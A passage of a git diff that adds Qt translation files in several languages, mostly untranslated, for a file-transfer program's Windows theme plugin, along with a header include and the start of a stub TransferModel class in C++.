+ </message>
+ <message>
+ <location line="+9"/>
+ <source>In waiting</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>interface</name>
+ <message>
+ <location filename="../../interface.ui" line="+176"/>
+ <source>Name:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location line="+10"/>
+ <source>From:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location line="+10"/>
+ <source>To:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location line="+10"/>
+ <source>Time remaining:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location line="+10"/>
+ <source>Items remaining:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location line="+10"/>
+ <source>Speed:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location line="+65"/>
+ <source>More information</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location line="+40"/>
+ <source>Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location line="+14"/>
+ <source>Add file</source>
+ <translation type="unfinished">파일 추가</translation>
+ </message>
+ <message>
+ <location line="+9"/>
+ <source>Add folder</source>
+ <translation type="unfinished">폴더 추가</translation>
+ </message>
+ <message>
+ <location line="+9"/>
+ <source>Move file(s)</source>
+ <translation type="unfinished">파일 이동</translation>
+ </message>
+ <message>
+ <location line="+9"/>
+ <source>Move folder</source>
+ <translation type="unfinished">폴더 이동</translation>
+ </message>
+ <message>
+ <location line="+9"/>
+ <source>Copy file(s)</source>
+ <translation type="unfinished">파일 복사</translation>
+ </message>
+ <message>
+ <location line="+9"/>
+ <source>Copy folder</source>
+ <translation type="unfinished">폴더 복사</translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins-alternative/Themes/Windows/Languages/nl/translation.ts b/plugins-alternative/Themes/Windows/Languages/nl/translation.ts
new file mode 100644
index 0000000..fe6d20c
--- /dev/null
+++ b/plugins-alternative/Themes/Windows/Languages/nl/translation.ts
@@ -0,0 +1,121 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0">
+<context>
+ <name>Themes</name>
+ <message>
+ <location filename="../../interface.cpp" line="204"/>
+ <location filename="../../interface.cpp" line="392"/>
+ <source>Unknown remaining time</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message numerus="yes">
+ <location filename="../../interface.cpp" line="337"/>
+ <location filename="../../interface.cpp" line="339"/>
+ <source>Transferring %n item(s) (%2)</source>
+ <translation type="unfinished">
+ <numerusform></numerusform>
+ </translation>
+ </message>
+ <message numerus="yes">
+ <location filename="../../interface.cpp" line="346"/>
+ <location filename="../../interface.cpp" line="348"/>
+ <source>Copying %n item(s) (%2)</source>
+ <translation type="unfinished">
+ <numerusform></numerusform>
+ </translation>
+ </message>
+ <message numerus="yes">
+ <location filename="../../interface.cpp" line="353"/>
+ <location filename="../../interface.cpp" line="355"/>
+ <source>Moving %n item(s) (%2)</source>
+ <translation type="unfinished">
+ <numerusform></numerusform>
+ </translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="403"/>
+ <source>from &lt;b&gt;%1&lt;/b&gt; (%2) to &lt;b&gt;%3&lt;/b&gt; (%4)&lt;br /&gt;%5</source>
+ <extracomment>Sample: from &lt;b&gt;sources&lt;/b&gt; (e:<byte value="xc"/>oldersource) to &lt;b&gt;destination&lt;/b&gt; (d:desktopdestination)&lt;br /&gt;About 5 Hours remaining</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="412"/>
+ <source>In waiting</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>interface</name>
+ <message>
+ <location filename="../../interface.ui" line="176"/>
+ <source>Name:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="186"/>
+ <source>From:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="196"/>
+ <source>To:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="206"/>
+ <source>Time remaining:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="216"/>
+ <source>Items remaining:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="226"/>
+ <source>Speed:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="291"/>
+ <source>More information</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="331"/>
+ <source>Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="345"/>
+ <source>Add file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="354"/>
+ <source>Add folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="363"/>
+ <source>Move file(s)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="372"/>
+ <source>Move folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="381"/>
+ <source>Copy file(s)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="390"/>
+ <source>Copy folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins-alternative/Themes/Windows/Languages/no/translation.ts b/plugins-alternative/Themes/Windows/Languages/no/translation.ts
new file mode 100644
index 0000000..fe6d20c
--- /dev/null
+++ b/plugins-alternative/Themes/Windows/Languages/no/translation.ts
@@ -0,0 +1,121 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0">
+<context>
+ <name>Themes</name>
+ <message>
+ <location filename="../../interface.cpp" line="204"/>
+ <location filename="../../interface.cpp" line="392"/>
+ <source>Unknown remaining time</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message numerus="yes">
+ <location filename="../../interface.cpp" line="337"/>
+ <location filename="../../interface.cpp" line="339"/>
+ <source>Transferring %n item(s) (%2)</source>
+ <translation type="unfinished">
+ <numerusform></numerusform>
+ </translation>
+ </message>
+ <message numerus="yes">
+ <location filename="../../interface.cpp" line="346"/>
+ <location filename="../../interface.cpp" line="348"/>
+ <source>Copying %n item(s) (%2)</source>
+ <translation type="unfinished">
+ <numerusform></numerusform>
+ </translation>
+ </message>
+ <message numerus="yes">
+ <location filename="../../interface.cpp" line="353"/>
+ <location filename="../../interface.cpp" line="355"/>
+ <source>Moving %n item(s) (%2)</source>
+ <translation type="unfinished">
+ <numerusform></numerusform>
+ </translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="403"/>
+ <source>from &lt;b&gt;%1&lt;/b&gt; (%2) to &lt;b&gt;%3&lt;/b&gt; (%4)&lt;br /&gt;%5</source>
+ <extracomment>Sample: from &lt;b&gt;sources&lt;/b&gt; (e:<byte value="xc"/>oldersource) to &lt;b&gt;destination&lt;/b&gt; (d:desktopdestination)&lt;br /&gt;About 5 Hours remaining</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="412"/>
+ <source>In waiting</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>interface</name>
+ <message>
+ <location filename="../../interface.ui" line="176"/>
+ <source>Name:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="186"/>
+ <source>From:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="196"/>
+ <source>To:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="206"/>
+ <source>Time remaining:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="216"/>
+ <source>Items remaining:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="226"/>
+ <source>Speed:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="291"/>
+ <source>More information</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="331"/>
+ <source>Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="345"/>
+ <source>Add file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="354"/>
+ <source>Add folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="363"/>
+ <source>Move file(s)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="372"/>
+ <source>Move folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="381"/>
+ <source>Copy file(s)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="390"/>
+ <source>Copy folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins-alternative/Themes/Windows/Languages/pl/translation.ts b/plugins-alternative/Themes/Windows/Languages/pl/translation.ts
new file mode 100644
index 0000000..fe6d20c
--- /dev/null
+++ b/plugins-alternative/Themes/Windows/Languages/pl/translation.ts
@@ -0,0 +1,121 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0">
+<context>
+ <name>Themes</name>
+ <message>
+ <location filename="../../interface.cpp" line="204"/>
+ <location filename="../../interface.cpp" line="392"/>
+ <source>Unknown remaining time</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message numerus="yes">
+ <location filename="../../interface.cpp" line="337"/>
+ <location filename="../../interface.cpp" line="339"/>
+ <source>Transferring %n item(s) (%2)</source>
+ <translation type="unfinished">
+ <numerusform></numerusform>
+ </translation>
+ </message>
+ <message numerus="yes">
+ <location filename="../../interface.cpp" line="346"/>
+ <location filename="../../interface.cpp" line="348"/>
+ <source>Copying %n item(s) (%2)</source>
+ <translation type="unfinished">
+ <numerusform></numerusform>
+ </translation>
+ </message>
+ <message numerus="yes">
+ <location filename="../../interface.cpp" line="353"/>
+ <location filename="../../interface.cpp" line="355"/>
+ <source>Moving %n item(s) (%2)</source>
+ <translation type="unfinished">
+ <numerusform></numerusform>
+ </translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="403"/>
+ <source>from &lt;b&gt;%1&lt;/b&gt; (%2) to &lt;b&gt;%3&lt;/b&gt; (%4)&lt;br /&gt;%5</source>
+ <extracomment>Sample: from &lt;b&gt;sources&lt;/b&gt; (e:<byte value="xc"/>oldersource) to &lt;b&gt;destination&lt;/b&gt; (d:desktopdestination)&lt;br /&gt;About 5 Hours remaining</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="412"/>
+ <source>In waiting</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>interface</name>
+ <message>
+ <location filename="../../interface.ui" line="176"/>
+ <source>Name:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="186"/>
+ <source>From:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="196"/>
+ <source>To:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="206"/>
+ <source>Time remaining:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="216"/>
+ <source>Items remaining:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="226"/>
+ <source>Speed:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="291"/>
+ <source>More information</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="331"/>
+ <source>Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="345"/>
+ <source>Add file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="354"/>
+ <source>Add folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="363"/>
+ <source>Move file(s)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="372"/>
+ <source>Move folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="381"/>
+ <source>Copy file(s)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="390"/>
+ <source>Copy folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins-alternative/Themes/Windows/Languages/ru/translation.ts b/plugins-alternative/Themes/Windows/Languages/ru/translation.ts
new file mode 100644
index 0000000..02e9260
--- /dev/null
+++ b/plugins-alternative/Themes/Windows/Languages/ru/translation.ts
@@ -0,0 +1,127 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0" language="ru" sourcelanguage="en">
+<context>
+ <name>Themes</name>
+ <message>
+ <location filename="../../interface.cpp" line="204"/>
+ <location filename="../../interface.cpp" line="392"/>
+ <source>Unknown remaining time</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message numerus="yes">
+ <location filename="../../interface.cpp" line="337"/>
+ <location filename="../../interface.cpp" line="339"/>
+ <source>Transferring %n item(s) (%2)</source>
+ <translation type="unfinished">
+ <numerusform></numerusform>
+ <numerusform></numerusform>
+ <numerusform></numerusform>
+ </translation>
+ </message>
+ <message numerus="yes">
+ <location filename="../../interface.cpp" line="346"/>
+ <location filename="../../interface.cpp" line="348"/>
+ <source>Copying %n item(s) (%2)</source>
+ <translation type="unfinished">
+ <numerusform></numerusform>
+ <numerusform></numerusform>
+ <numerusform></numerusform>
+ </translation>
+ </message>
+ <message numerus="yes">
+ <location filename="../../interface.cpp" line="353"/>
+ <location filename="../../interface.cpp" line="355"/>
+ <source>Moving %n item(s) (%2)</source>
+ <translation type="unfinished">
+ <numerusform></numerusform>
+ <numerusform></numerusform>
+ <numerusform></numerusform>
+ </translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="403"/>
+ <source>from &lt;b&gt;%1&lt;/b&gt; (%2) to &lt;b&gt;%3&lt;/b&gt; (%4)&lt;br /&gt;%5</source>
+ <extracomment>Sample: from &lt;b&gt;sources&lt;/b&gt; (e:<byte value="xc"/>oldersource) to &lt;b&gt;destination&lt;/b&gt; (d:desktopdestination)&lt;br /&gt;About 5 Hours remaining</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="412"/>
+ <source>In waiting</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>interface</name>
+ <message>
+ <location filename="../../interface.ui" line="176"/>
+ <source>Name:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="186"/>
+ <source>From:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="196"/>
+ <source>To:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="206"/>
+ <source>Time remaining:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="216"/>
+ <source>Items remaining:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="226"/>
+ <source>Speed:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="291"/>
+ <source>More information</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="331"/>
+ <source>Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="345"/>
+ <source>Add file</source>
+ <translation>Добавить файл</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="354"/>
+ <source>Add folder</source>
+ <translation>Добавить папку</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="363"/>
+ <source>Move file(s)</source>
+ <translation>Перемещение файла (ов)</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="372"/>
+ <source>Move folder</source>
+ <translation>Перемещение папки</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="381"/>
+ <source>Copy file(s)</source>
+ <translation>Копировать файл (ы)</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="390"/>
+ <source>Copy folder</source>
+ <translation>Копировать папку</translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins-alternative/Themes/Windows/Languages/th/translation.ts b/plugins-alternative/Themes/Windows/Languages/th/translation.ts
new file mode 100644
index 0000000..fe6d20c
--- /dev/null
+++ b/plugins-alternative/Themes/Windows/Languages/th/translation.ts
@@ -0,0 +1,121 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0">
+<context>
+ <name>Themes</name>
+ <message>
+ <location filename="../../interface.cpp" line="204"/>
+ <location filename="../../interface.cpp" line="392"/>
+ <source>Unknown remaining time</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message numerus="yes">
+ <location filename="../../interface.cpp" line="337"/>
+ <location filename="../../interface.cpp" line="339"/>
+ <source>Transferring %n item(s) (%2)</source>
+ <translation type="unfinished">
+ <numerusform></numerusform>
+ </translation>
+ </message>
+ <message numerus="yes">
+ <location filename="../../interface.cpp" line="346"/>
+ <location filename="../../interface.cpp" line="348"/>
+ <source>Copying %n item(s) (%2)</source>
+ <translation type="unfinished">
+ <numerusform></numerusform>
+ </translation>
+ </message>
+ <message numerus="yes">
+ <location filename="../../interface.cpp" line="353"/>
+ <location filename="../../interface.cpp" line="355"/>
+ <source>Moving %n item(s) (%2)</source>
+ <translation type="unfinished">
+ <numerusform></numerusform>
+ </translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="403"/>
+ <source>from &lt;b&gt;%1&lt;/b&gt; (%2) to &lt;b&gt;%3&lt;/b&gt; (%4)&lt;br /&gt;%5</source>
+ <extracomment>Sample: from &lt;b&gt;sources&lt;/b&gt; (e:<byte value="xc"/>oldersource) to &lt;b&gt;destination&lt;/b&gt; (d:desktopdestination)&lt;br /&gt;About 5 Hours remaining</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="412"/>
+ <source>In waiting</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>interface</name>
+ <message>
+ <location filename="../../interface.ui" line="176"/>
+ <source>Name:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="186"/>
+ <source>From:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="196"/>
+ <source>To:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="206"/>
+ <source>Time remaining:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="216"/>
+ <source>Items remaining:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="226"/>
+ <source>Speed:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="291"/>
+ <source>More information</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="331"/>
+ <source>Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="345"/>
+ <source>Add file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="354"/>
+ <source>Add folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="363"/>
+ <source>Move file(s)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="372"/>
+ <source>Move folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="381"/>
+ <source>Copy file(s)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="390"/>
+ <source>Copy folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins-alternative/Themes/Windows/Languages/tr/translation.ts b/plugins-alternative/Themes/Windows/Languages/tr/translation.ts
new file mode 100644
index 0000000..fe6d20c
--- /dev/null
+++ b/plugins-alternative/Themes/Windows/Languages/tr/translation.ts
@@ -0,0 +1,121 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0">
+<context>
+ <name>Themes</name>
+ <message>
+ <location filename="../../interface.cpp" line="204"/>
+ <location filename="../../interface.cpp" line="392"/>
+ <source>Unknown remaining time</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message numerus="yes">
+ <location filename="../../interface.cpp" line="337"/>
+ <location filename="../../interface.cpp" line="339"/>
+ <source>Transferring %n item(s) (%2)</source>
+ <translation type="unfinished">
+ <numerusform></numerusform>
+ </translation>
+ </message>
+ <message numerus="yes">
+ <location filename="../../interface.cpp" line="346"/>
+ <location filename="../../interface.cpp" line="348"/>
+ <source>Copying %n item(s) (%2)</source>
+ <translation type="unfinished">
+ <numerusform></numerusform>
+ </translation>
+ </message>
+ <message numerus="yes">
+ <location filename="../../interface.cpp" line="353"/>
+ <location filename="../../interface.cpp" line="355"/>
+ <source>Moving %n item(s) (%2)</source>
+ <translation type="unfinished">
+ <numerusform></numerusform>
+ </translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="403"/>
+ <source>from &lt;b&gt;%1&lt;/b&gt; (%2) to &lt;b&gt;%3&lt;/b&gt; (%4)&lt;br /&gt;%5</source>
+ <extracomment>Sample: from &lt;b&gt;sources&lt;/b&gt; (e:<byte value="xc"/>oldersource) to &lt;b&gt;destination&lt;/b&gt; (d:desktopdestination)&lt;br /&gt;About 5 Hours remaining</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="412"/>
+ <source>In waiting</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>interface</name>
+ <message>
+ <location filename="../../interface.ui" line="176"/>
+ <source>Name:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="186"/>
+ <source>From:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="196"/>
+ <source>To:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="206"/>
+ <source>Time remaining:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="216"/>
+ <source>Items remaining:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="226"/>
+ <source>Speed:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="291"/>
+ <source>More information</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="331"/>
+ <source>Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="345"/>
+ <source>Add file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="354"/>
+ <source>Add folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="363"/>
+ <source>Move file(s)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="372"/>
+ <source>Move folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="381"/>
+ <source>Copy file(s)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="390"/>
+ <source>Copy folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins-alternative/Themes/Windows/Languages/zh/translation.ts b/plugins-alternative/Themes/Windows/Languages/zh/translation.ts
new file mode 100644
index 0000000..fe6d20c
--- /dev/null
+++ b/plugins-alternative/Themes/Windows/Languages/zh/translation.ts
@@ -0,0 +1,121 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0">
+<context>
+ <name>Themes</name>
+ <message>
+ <location filename="../../interface.cpp" line="204"/>
+ <location filename="../../interface.cpp" line="392"/>
+ <source>Unknown remaining time</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message numerus="yes">
+ <location filename="../../interface.cpp" line="337"/>
+ <location filename="../../interface.cpp" line="339"/>
+ <source>Transferring %n item(s) (%2)</source>
+ <translation type="unfinished">
+ <numerusform></numerusform>
+ </translation>
+ </message>
+ <message numerus="yes">
+ <location filename="../../interface.cpp" line="346"/>
+ <location filename="../../interface.cpp" line="348"/>
+ <source>Copying %n item(s) (%2)</source>
+ <translation type="unfinished">
+ <numerusform></numerusform>
+ </translation>
+ </message>
+ <message numerus="yes">
+ <location filename="../../interface.cpp" line="353"/>
+ <location filename="../../interface.cpp" line="355"/>
+ <source>Moving %n item(s) (%2)</source>
+ <translation type="unfinished">
+ <numerusform></numerusform>
+ </translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="403"/>
+ <source>from &lt;b&gt;%1&lt;/b&gt; (%2) to &lt;b&gt;%3&lt;/b&gt; (%4)&lt;br /&gt;%5</source>
+ <extracomment>Sample: from &lt;b&gt;sources&lt;/b&gt; (e:<byte value="xc"/>oldersource) to &lt;b&gt;destination&lt;/b&gt; (d:desktopdestination)&lt;br /&gt;About 5 Hours remaining</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="412"/>
+ <source>In waiting</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>interface</name>
+ <message>
+ <location filename="../../interface.ui" line="176"/>
+ <source>Name:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="186"/>
+ <source>From:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="196"/>
+ <source>To:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="206"/>
+ <source>Time remaining:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="216"/>
+ <source>Items remaining:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="226"/>
+ <source>Speed:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="291"/>
+ <source>More information</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="331"/>
+ <source>Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="345"/>
+ <source>Add file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="354"/>
+ <source>Add folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="363"/>
+ <source>Move file(s)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="372"/>
+ <source>Move folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="381"/>
+ <source>Copy file(s)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="390"/>
+ <source>Copy folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins-alternative/Themes/Windows/StructEnumDefinition.h b/plugins-alternative/Themes/Windows/StructEnumDefinition.h
new file mode 100644
index 0000000..c1758f4
--- /dev/null
+++ b/plugins-alternative/Themes/Windows/StructEnumDefinition.h
@@ -0,0 +1 @@
+#include "../../../StructEnumDefinition.h"
diff --git a/plugins-alternative/Themes/Windows/TransferModel.cpp b/plugins-alternative/Themes/Windows/TransferModel.cpp
new file mode 100644
index 0000000..7743266
--- /dev/null
+++ b/plugins-alternative/Themes/Windows/TransferModel.cpp
@@ -0,0 +1,286 @@
+#include "TransferModel.h"
+
+#define COLUMN_COUNT 3
+
+// Model
+
+TransferModel::TransferModel()
+{
+ iconStart=QIcon(":/Themes/Windows/resources/player_play.png");
+ iconPause=QIcon(":/Themes/Windows/resources/player_pause.png");
+ iconStop=QIcon(":/Themes/Windows/resources/checkbox.png");
+ currentIndexSearch=0;
+ currentFile = 0;
+ totalFile = 0;
+ currentSize = 0;
+ totalSize = 0;
+ haveSearchItem=false;
+}
+
+int TransferModel::columnCount( const QModelIndex& parent ) const
+{
+ return parent == QModelIndex() ? COLUMN_COUNT : 0;
+}
+
+QVariant TransferModel::data( const QModelIndex& index, int role ) const
+{
+ Q_UNUSED(role);
+ Q_UNUSED(index);
+ return QVariant();
+}
+
+int TransferModel::rowCount( const QModelIndex& parent ) const
+{
+ Q_UNUSED(parent);
+ return 0;
+}
+
+QVariant TransferModel::headerData( int section, Qt::Orientation orientation, int role ) const
